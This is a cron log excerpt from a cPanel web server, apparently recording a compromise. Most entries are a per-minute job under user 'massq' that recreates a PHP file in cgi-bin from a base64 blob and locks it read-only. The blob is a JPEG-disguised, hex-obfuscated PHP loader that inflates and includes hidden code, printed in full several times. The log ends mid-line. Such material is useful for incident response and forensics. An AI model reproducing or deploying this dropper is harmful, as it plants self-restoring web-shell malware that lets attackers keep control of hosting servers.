Apr 11 15:34:01 server CROND[14767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:35:01 server CROND[14852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 15:35:01 server CROND[14854]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 15:35:01 server CROND[14855]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 15:35:01 server CROND[14856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 15:35:01 server CROND[14858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:36:01 server CROND[15075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:37:01 server CROND[15143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:38:01 server CROND[15219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:39:01 server CROND[15284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:39:01 server CROND[15285]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 15:40:01 server CROND[15367]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 15:40:01 server CROND[15368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 15:40:01 server CROND[15369]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 15:40:01 server CROND[15370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:41:01 server CROND[15599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:42:01 server CROND[15659]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 15:42:01 server CROND[15660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:43:01 server CROND[15729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:44:01 server CROND[15786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:45:01 server CROND[15858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 15:45:01 server CROND[15859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:45:01 server CROND[15860]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 15:46:01 server CROND[16066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:47:01 server CROND[16123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JH